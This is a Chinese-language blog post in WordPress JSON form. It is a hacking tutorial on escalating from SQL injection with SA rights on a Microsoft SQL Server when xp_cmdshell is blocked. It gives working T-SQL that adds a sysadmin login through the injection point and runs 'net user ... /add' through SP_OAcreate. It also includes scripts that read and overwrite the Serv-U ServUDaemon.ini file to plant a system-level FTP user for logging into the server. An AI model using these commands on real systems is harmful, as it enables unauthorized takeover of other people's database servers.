\u6d88\u606f 50001\uff0c\u7ea7\u522b 1\uff0c\u72b6\u6001 50001
\nxpsql.cpp: \u9519\u8bef 5 \u6765\u81ea CreateProcess\uff08\u7b2c 737 \u884c\uff09
\n\u8fd9\u4e2a\u9519\u8bef\u662f\u56e0\u4e3a cmd\u8bbe\u7f6e\u4e86\u6743\u9650\u5bfc\u81f4.
\n\u4e0b\u9762\u7ed9\u4e9b\u7a81\u7834\u7684\u65b9\u6cd5\u5427
\n————————————————————-
\n1.MSSQL\u4e2d\u4e00\u4e9b\u6269\u5c55\u7684\u5e94\u7528
\n\u62ff\u5230\u5730\u5740\u540e\u9996\u5148telnet\u4e00\u4e0b\u5b83\u76841433\u3002\u5475\u5475\uff0c\u8fd9\u4e2a\u53ef\u80fd\u5f88\u591a\u670b\u53cb\u5c31\u4e0d\u4f1a\u6ce8\u610f\u4e3a\u4ec0\u4e48\u8981\u5148telnet\u5462\uff1f\u56e0\u4e3a\u662fSA\u561b\uff0c\u53ea\u8981\u80fdtelnet\u4e0a\u53bb\u6211\u4eec\u5c31\u53ef\u4ee5\u5728\u6ce8\u5c04\u70b9\u90a3\u91cc\u6267\u884c\u547d\u4ee4\u3002\u52a0\u4e00\u4e2a\u5177\u6709SA\u6743\u9650\u7684sql\u7528\u6237\u4e0a\u53bb\uff0c\u8fd9\u6837\u5728\u67e5\u8be2\u5206\u6790\u5668\u91cc\u6267\u884c\u547d\u4ee4\u8981\u6bd4\u5728\u6ce8\u5c04\u70b9\u90a3\u91cc\u65b9\u4fbf\u7684\u591a\u5462\u3002\u4f7f\u7528\u25cftelnet 61.129.251. x 1433 \u25cf\u53d1\u73b0\u53ef\u4ee5telnet\u4e0a\u53bb. OK \u9a6c\u4e0a\u5728\u6ce8\u5c04\u70b9\u540e\u9762\u6267\u884c:
\n\u2605
\nexec master.dbo.sp_addlogin fishing hook;
\nexec master.dbo.sp_addsrvrolemember fishing,sysadmin
\n\u2605
\n\u8fd9\u4e2a\u547d\u4ee4\u5c31\u662f\u6dfb\u52a0\u4e00\u4e2a\u7528\u6237\u540d\u4e3afishing\u5bc6\u7801\u4e3ahook\u7684SQL\u7528\u6237\uff0c\u6743\u9650\u4e3aSA\u3002\u4e24\u6b21\u6267\u884c\u9875\u9762\u90fd\u8fd4\u56de\u6210\u529f\uff0c\u8bf4\u660e\u7528\u6237\u6dfb\u52a0\u6210\u529f\u4e86\u3002\u4f7f\u7528SQL server\u7684\u67e5\u8be2\u5206\u6790\u5668\u8fde\u4e0a\uff0c\u7136\u540e\u6267\u884cexec master.dbo.xp_cmdshell 'net user' \u53d1\u73b0\u63d0\u793a\u9519\u8bef\uff1a
\n\u2605
\n\u9519\u8bef\u6d88\u606f
\n50001\uff0c\u7ea7\u522b 1\uff0c\u72b6\u6001 50001
\nxpsql.cpp: \u9519\u8bef 5 \u6765\u81ea CreateProcess\uff08\u7b2c 737 \u884c\uff09
\n\u2605
\n\u5f88\u591a\u670b\u53cb\u95ee\u8fc7\u6211\u8fd9\u4e2a\u9519\u8bef\u4fe1\u606f\u662f\u4ec0\u4e48\u610f\u601d\uff0c\u8fd9\u91cc\u89e3\u91ca\u4e00\u4e0b\uff0c\u5176\u5b9e\u5f88\u7b80\u5355\uff0c\u90a3\u4e2a\u9519\u8bef\u662f\u660e\u660e\u5199\u7740 CreateProcess \u8fdb\u7a0b\u65e0\u6cd5\u521b\u5efa,\u800cxp_cmdshell \u662f\u6267\u884c\u4ec0\u4e48\u8fdb\u7a0b\u5927\u5bb6\u5e94\u8be5\u77e5\u9053\u5427\uff0cCMD\u8fd9\u4e2a\u8fdb\u7a0b\u65e0\u6cd5\u521b\u5efa\uff01\u6709\u53ef\u80fdCMD\u8bbe\u7f6e\u6743\u9650\u62d2\u7eddSYSTEM\u8bbf\u95ee\uff0c\u6709\u53ef\u80fd\u662fCMD\u5220\u9664\u6216\u8005\u6539\u540d\u3002\u4ee5\u4e0a\u60c5\u51b5\u90fd\u53ef\u4ee5\u9020\u6210 CMD\u8fdb\u7a0b\u65e0\u6cd5\u521b\u5efa\u7684\u3002
\n\u770b\u6765\u76f4\u63a5\u60f3\u52a0\u7528\u6237\u767b\u9646\u670d\u52a1\u5668\u662f\u4e0d\u53ef\u80fd\u4e86\uff0c\u53ef\u80fd\u6709\u7684\u670b\u53cb\u4f1a\u8bf4\uff1a\u4e0d\u662f\u8fd8\u6709SP_OAcreate \u4e48\uff1f\u4f46\u662f\u6211\u5728\u4f7f\u7528SP_OAcreate\u6267\u884c\uff1a
\n\u2605
\nDECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
\n@shell,'run',null, 'C:\\WINdows\\system32\\cmd.exe \/c net user fish sadfish \/add'
\n\u2605
\n\u7684\u65f6\u5019\u867d\u7136\u63d0\u793a\u6267\u884c\u6210\u529f\uff0c\u4f46\u662f\u5374\u53d1\u73b0\u7528\u6237\u5e76\u6ca1\u6709\u6dfb\u52a0\u8fdb\u53bb\uff0c\u521d\u6b65\u4f30\u8ba1\u5e94\u8be5\u662fwscript.shell\u88ab\u5220\u6389\u4e86\u3002
\n\u53e6\u5916\u5982\u679cxp_regwrite \u8fd9\u4e2a\u5b58\u50a8\u5728\u7684\u8bdd\u6211\u4eec\u8fd8\u53ef\u4ee5\u7528\u6c99\u76d2\u6a21\u5f0f\u641e\u5b9a\u4ed6\u7684\u3002\u4e0d\u8fc7\u867d\u7136\u4ee5\u4e0a\u4e09\u4e2a\u91cd\u8981\u7684\u5b58\u50a8\u8fc7\u7a0b\u90fd\u4e0d\u80fd\u7528\uff0c\u4f46\u662f\u6211\u4eec\u8fd8\u53ef\u4ee5\u7528xp_subdirs\u6765\u5217\u76ee\u5f55\u3002\u5728\u5217\u5230D\u76d8\u7684\u65f6\u5019\u53d1\u73b0\u4e86\u670d\u52a1\u5668\u88c5\u6709serv-u\uff0c\u806a\u660e\u7684\u670b\u53cb\u4eec\u662f\u4e0d\u662f\u60f3\u5230\u4e86\u4ec0\u4e48\uff1f\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528FSO\u5728suer-v\u7684\u25cfServUDaemon.ini\u25cf\u91cc\u5199\u914d\u7f6e\u4fe1\u606f\u6dfb\u52a0\u4e00\u4e2a\u5177\u6709system\u6743\u9650\u7684ftp\u7528\u6237\uff0c\u8bf4\u505a\u5c31\u505a\uff0c\u9996\u5148\u4f7f\u7528
\n\u2605
\ndeclare @o int, @f int, @t int, @ret int
\ndeclare @line varchar(8000)
\nexec sp_oacreate 'scripting.filesystemobject', @o out
\nexec sp_oamethod @o, 'opentextfile', @f out, 'd:\\Serv-U6.3\\ServUDaemon.ini', 1
\nexec @ret = sp_oamethod @f, 'readline', @line out
\nwhile( @ret = 0 )
\nbegin
\nprint @line
\nexec @ret = sp_oamethod @f, 'readline', @line out
\nend
\n\u2605
\n\u8fd9\u6bb5\u4ee3\u7801\u7684\u610f\u601d\u662f\u901a\u8fc7\u4f7f\u7528\u5b58\u50a8\u8fc7\u7a0b\u6765\u8bfb\u53d6d:\\Serv-U6.3\\ServUDaemon.ini\u91cc\u7684\u914d\u7f6e\u4fe1\u606f\uff0c\u8fd4\u56de\u6267\u884c\u6210\u529f
\n\u65e2\u7136\u53ef\u4ee5\u8bfb\u4e86 \u90a3\u4e48\u6211\u4eec\u662f\u4e0d\u662f\u53ef\u4ee5\u5199\u4e00\u4e2a\u8fdb\u53bb\uff1f\u7ee7\u7eed\u6267\u884c
\n\u2605
\ndeclare @o int, @f int, @t int, @ret int
\nexec sp_oacreate 'scripting.filesystemobject', @o out
\nexec sp_oamethod @o, 'createtextfile', @f out, 'd:\\Serv-U6.3\\ServUDaemon.ini', 1
\nexec @ret = sp_oamethod @f, 'writeline', NULL, \u300a\u8fd9\u91cc\u6dfb\u5199\u81ea\u5df1\u5199\u597d\u7684SU\u914d\u7f6e\u4fe1\u606f\uff0c\u521a\u624d\u590d\u5236\u7684\u90a3\u4e9b\u90fd\u8981\u5199\u4e0a\u53bb\uff0c\u5728\u6700\u540e\u6dfb\u52a0\u6211\u4eec\u81ea\u5df1\u7684\uff0c\u8ddf\u6211\u4eec\u5728WEBSHELL\u91cc\u7684serv-u\u63d0\u6743\u662f\u4e00\u6837\u7684\u300b
\n\u2605
\n\u6309F5\uff0c\u6267\u884c\u4e00\u4e0b\uff0c\u53d1\u73b0\u547d\u4ee4\u6267\u884c\u6210\u529f\uff0c\u9a6c\u4e0a\u4f7f\u7528\u4e0a\u9762\u7684\u8bed\u53e5\u590d\u67e5\u4e00\u4e0b\uff0c\u53d1\u73b0\u5df2\u7ecf\u5199\u8fdb\u53bb\u4e86
\nOK \u5269\u4e0b\u7684\u4e8b\u60c5\u5c31\u4e0d\u7528\u6211\u591a\u8bf4\u4e86\u5427\uff1fFTP\u4e0a\u53bb\uff0c\u76f4\u63a5\u6dfb\u52a0\u7528\u6237\u767b\u9646\u670d\u52a1\u5668\u5c31OK\u4e86\uff0c\u8fd9\u91cc\u5c31\u4e0d\u591a\u5e9f\u8bdd\u4e86\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
\u6d88\u606f 50001\uff0c\u7ea7\u522b 1\uff0c\u72b6\u6001 50001 xpsql.cpp: \u9519\u8bef 5 \u6765\u81ea CreatePr […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[178],"tags":[205,204],"_links":{"self":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/136"}],"collection":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=136"}],"version-history":[{"count":1,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/136\/revisions"}],"predecessor-version":[{"id":211,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/136\/revisions\/211"}],"wp:attachment":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=136"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=136"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=136"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}